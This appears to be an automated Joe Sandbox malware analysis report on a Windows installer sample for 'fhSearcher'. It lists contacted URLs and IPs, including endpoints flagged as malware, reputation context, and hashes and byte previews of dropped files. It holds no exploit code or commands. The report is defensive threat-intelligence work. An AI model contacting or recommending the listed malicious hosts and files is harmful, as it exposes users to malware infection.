http://107.182.129.235/#(u	fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fh-group.info/	is-L5RJL.tmp, 00000001.00000003.246204117.0000000002306000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://171.22.30.106/library.phped	fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.n-group.info	file.exe, 00000000.00000003.244867864.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.341685691.00000000021C8000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000002.341333908.0000000002304000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.340623203.000000000072B000.00000004.00000020.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246204117.0000000002306000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246132721.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000002.341178447.000000000072B000.00000004.00000020.00020000.00000000.sdmp, is-3Q439.tmp.1.dr	false	URL Reputation: safe	unknown
http://171.22.30.106/library.php-(	fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fh-group.info/fhsearcher/help.html1	file.exe, 00000000.00000003.244867864.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246132721.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.movienizer.com	fhsearcher65.exe, 00000002.00000000.253799478.0000000001275000.00000002.00000001.01000000.00000007.sdmp, is-0VGVN.tmp.1.dr, fhsearcher65.exe.1.dr	false		high
http://171.22.30.106/library.phpng.php;53	fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://107.182.129.235/	fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.302413445.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290920611.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296661474.0000000001822000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fh-group.info/fhsearcher/download.html	is-L5RJL.tmp, 00000001.00000003.246204117.0000000002306000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246132721.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.182.129.235/storage/ping.phpt	fhsearcher65.exe, 00000002.00000003.302462753.0000000001849000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.296715682.0000000001849000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.314095275.0000000001849000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308295897.0000000001849000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322222729.0000000001849000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.290973625.0000000001849000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.fh-group.info/fhsearcher/help.html	file.exe, 00000000.00000003.244916733.00000000021C1000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.341656676.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000002.341333908.0000000002304000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.340623203.000000000072B000.00000004.00000020.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246204117.0000000002306000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000002.341178447.000000000072B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fh-group.info/-	file.exe, 00000000.00000003.244867864.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246132721.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fh-group.info/fhsearcher/help.htmlB	file.exe, 00000000.00000003.244916733.00000000021C1000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.341656676.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000002.341333908.0000000002304000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246204117.0000000002306000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fh-group.info/-http://www.fh-group.info/fhsearcher/help.html1http://www.fh-group.info/fhs	file.exe, 00000000.00000003.244867864.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000003.246132721.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://171.22.30.106/library.phpq	fhsearcher65.exe, 00000002.00000003.313961473.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.322199468.0000000001822000.00000004.00000020.00020000.00000000.sdmp, fhsearcher65.exe, 00000002.00000003.308267853.0000000001822000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.remobjects.com/?psU	file.exe, 00000000.00000003.245213263.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.245058768.00000000023F0000.00000004.00001000.00020000.00000000.sdmp, is-L5RJL.tmp, 00000001.00000000.245657623.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-GCUFF.tmp.1.dr, is-L5RJL.tmp.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
45.139.105.171	unknown	Italy	33657	CMCSUS	false
45.139.105.1	unknown	Italy	33657	CMCSUS	true
85.31.46.167	unknown	Germany	43659	CLOUDCOMPUTINGDE	true
107.182.129.235	unknown	Reserved	11070	META-ASUS	true
171.22.30.106	unknown	Germany	33657	CMCSUS	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	734353
Start date and time:	2022-10-31 14:16:10 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.troj.evad.winEXE@12/31@0/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 32.6% (good quality ratio 31.5%) Quality average: 80.3% Quality standard deviation: 25.4%
HCA Information:	Successful, ratio: 97% Number of executed functions: 181 Number of non-executed functions: 247
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:17:16	API Interceptor	1x Sleep call for process: qFUx6kqeb.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
45.139.105.171	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
	file.exe	Get hash	malicious	Browse	45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CMCSUS	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	cAzw1o93xw.exe	Get hash	malicious	Browse	45.139.105.7
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	RFQ2257023.xlsx	Get hash	malicious	Browse	45.139.105.7
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
CMCSUS	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	cAzw1o93xw.exe	Get hash	malicious	Browse	45.139.105.7
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	RFQ2257023.xlsx	Get hash	malicious	Browse	45.139.105.7
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106
	file.exe	Get hash	malicious	Browse	171.22.30.106

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Program Files (x86)\fhSearcher\is-GCUFF.tmp	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Program Files (x86)\fhSearcher\checksums.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	356
Entropy (8bit):	4.884558011565004
Encrypted:	false
SSDEEP:	6:AySGO4KS/x4L8ThcSRFLk6XDuwOyoExvWmFuQUqvJrdt6YAhlAjyIDHAUXV4:Ayf3WPSPLkP/fEFWm/5v3t/byGgH
MD5:	461D6293779BDEF19493C351344F2B71
SHA1:	C441B7DAA5ABF8A2872D55F47585657147451C72
SHA-256:	0C2BD3D1AEB04523291BC72424C802E36C1733E0B72FA775B9DD0A4E9CADE263
SHA-512:	D41DBDF10A61CEDE90D68F1F7E351D9DA441026F7CF9C12AB6ADA017B185455DDBFED74760A3DD3D67ED10A9B1915E79F6ACFF70850B626C68CB1E2B22FC9C25
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	All checksum in MD5....completed.wav..8e46be5a4155710361181e3b67373404..history.rtf..1bfcde2b3d557cfb8b9004055d3a90f5..license_en.rtf..1ae62f00fc368364a2de668b3299d793..license_ru.rtf..fe7c9c6f6e8f720f886bcc65fa2d9b20..nsearcher.exe..c5e7acbda2f8bfa49bd9580120aac7b2..reset.bat..aaa149e55ddae6393fe099990747da94..unins.ico..b8ed55bf81883d2becf23fc020585214

C:\Program Files (x86)\fhSearcher\completed.wav (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
Category:	dropped
Size (bytes):	272134
Entropy (8bit):	6.156729185977344
Encrypted:	false
SSDEEP:	6144:TNKofL3cEjxCryOOYJH+8a1anwxrcSOQmlBkO+kKo:TNNzsEjxCryOOYvbnwxrcewf+1o
MD5:	8E46BE5A4155710361181E3B67373404
SHA1:	18A19A04DD6E4BFE6731E6978F2CB295E1C52174
SHA-256:	32AB0D1DF26B0DCFE78D393A1F2534D1DAA5BABC6980017303ED925682CE19D0
SHA-512:	5497EEF00048125D67551FBF22747654D97903F0622830299792159DC8532013191FB006A832E7CE2B4383EE2EC67B7B7C1D06C25CF34EEB118D050AC89DC3B7
Malicious:	false
Preview:	RIFF.&..WAVEfmt ........D.............LIST....INFOIART.... ..ICMT....mp3cut.ru ..ICRD.... ..INAM.... ..IPRD.... ..IPRT....1.ISFT....Lavf55.22.100.data.&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\fhSearcher\fhsearcher65.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3809238
Entropy (8bit):	5.78139053185094
Encrypted:	false
SSDEEP:	49152:kU1f0AHLQq2OqzAzW/32mn8ERPczOd+aW:kU1fFHzWv2mn8ERPcz3/
MD5:	92872B286EA229891C32DECA72ACBBAC
SHA1:	7255903781C81C2466274884BF929694418EE5F0
SHA-256:	C6D3D6FA4C3D7D827C390956A467D37784819AA83A7B066C95869DACA0387AE2
SHA-512:	8938510D0BAC5A376385C9C2B7C9F12E7FC2E93A360E35F9D51545673D3CD4EDE2CF7FF015D9D687E751454CFFF549DA019414409B8A1BE9875558649F12207F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._c..........7..........`....................@.......................... ..................................................@....P..................................................................................x............................text...b........................... ..`.rdata..D*.......0..................@..A.data...`....0.......0..............@....tls.........@.......@..............A....rsrc........P.......P..............@..@.rff64...+..`...+..`..............`...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\fhSearcher\history.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44381
Entropy (8bit):	4.886111144563166
Encrypted:	false
SSDEEP:	384:zDkO4WdW2OTYn/akuhSm9eDAmWZJ6Sr82Zeo75Y3kpTBLRA6AlEayr:zDEDhSm9aHZ/6A92
MD5:	1BFCDE2B3D557CFB8B9004055D3A90F5
SHA1:	678353ADC2CACD12555EF12F5D94FC03CD07707E
SHA-256:	A8FBA72D4B1FB03EE40A9472430275499E361BBD74144D9956232EF2FDA0407A
SHA-512:	DF9FDB20B2054328431AA5F0D0014D949AF4BE3BFC0CB1E3D77BEDD4626DEEA83FDA259352765C04985087E260EB03FF7B337C1D4D54878EC210EFBEA6A36AD1
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Verdana;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Rom

C:\Program Files (x86)\fhSearcher\is-0VGVN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	data
Category:	dropped
Size (bytes):	3809238
Entropy (8bit):	5.7813898980836
Encrypted:	false
SSDEEP:	49152:7U1f0AHLQq2OqzAzW/32mn8ERPczOd+aW:7U1fFHzWv2mn8ERPcz3/
MD5:	F338B8964181F0C1019B6495503D176B
SHA1:	D159E8A637F4783C862E9141D66B2E8B5EF2C868
SHA-256:	53AA8BF1FD9762A47A0C0659FA4F8A354554759A3CC5E0824A988F05BEE6426E
SHA-512:	59ADAB42E1C98F54461972D534815CFFF6D7CB5DF078BFCAD12A136A0468F088F31582FCB853319A8125F284E921DC76106FF902F2AB572A075044A16F64057E
Malicious:	false
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._c..........7..........`....................@.......................... ..................................................@....P..................................................................................x............................text...b........................... ..`.rdata..D*.......0..................@..A.data...`....0.......0..............@....tls.........@.......@..............A....rsrc........P.......P..............@..@.rff64...+..`...+..`..............`...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\fhSearcher\is-3Q439.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44011
Entropy (8bit):	5.026565347530582
Encrypted:	false
SSDEEP:	384:em3cWBnPz+p/zWFHQ1QDGteo75Y3kpTBLRA6AlEayF:emsuQ1WGIZ/6A9U
MD5:	1AE62F00FC368364A2DE668B3299D793
SHA1:	E4E32C3EDC269987E39FDC0883F589CECF9604B4
SHA-256:	F9FF5B54BB1EBEECCC4104A62E32CAB4556DD75A5F76260E720485D5CC39D7E8
SHA-512:	844F4116FD8FF13B144D6D16DE695F7600283DC0B573CAAB5AE74573301B235AC234CE59D1D30BE8FB8ABBA3DFD27EDF8C53A7E0CD5320C23008B5F354377527
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Verdana;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman

C:\Program Files (x86)\fhSearcher\is-85VLV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44381
Entropy (8bit):	4.886111144563166
Encrypted:	false
SSDEEP:	384:zDkO4WdW2OTYn/akuhSm9eDAmWZJ6Sr82Zeo75Y3kpTBLRA6AlEayr:zDEDhSm9aHZ/6A92
MD5:	1BFCDE2B3D557CFB8B9004055D3A90F5
SHA1:	678353ADC2CACD12555EF12F5D94FC03CD07707E
SHA-256:	A8FBA72D4B1FB03EE40A9472430275499E361BBD74144D9956232EF2FDA0407A
SHA-512:	DF9FDB20B2054328431AA5F0D0014D949AF4BE3BFC0CB1E3D77BEDD4626DEEA83FDA259352765C04985087E260EB03FF7B337C1D4D54878EC210EFBEA6A36AD1
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Verdana;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Rom

C:\Program Files (x86)\fhSearcher\is-EDSG9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	51922
Entropy (8bit):	4.912794307456054
Encrypted:	false
SSDEEP:	384:eA3cWBnPz+p/zWFHQ1Qp0SEW5FRLU+cB9nGog4jy6XFsa0eo75Y3kpTBLRA6AlE8:eAsuQ1IV75knFBV6ahZ/6A9r
MD5:	FE7C9C6F6E8F720F886BCC65FA2D9B20
SHA1:	2775F12A0BABDEE5CEEDB08452EF72732E49F13C
SHA-256:	B3F54F1D0C3EA747CC52BAD1B363815B9297088CACDF1398C8CFD7F8054CE2BB
SHA-512:	ABBFE43FBE4827C9CEDA8D1FDD3DB3B344E99E0CDC3512E4EF84F965F882BA5E3822A407AC1F974D1986F1CDA645A20C1D00CD16262200FE39574AEFF12F6A1A
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Verdana;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman

C:\Program Files (x86)\fhSearcher\is-GCUFF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
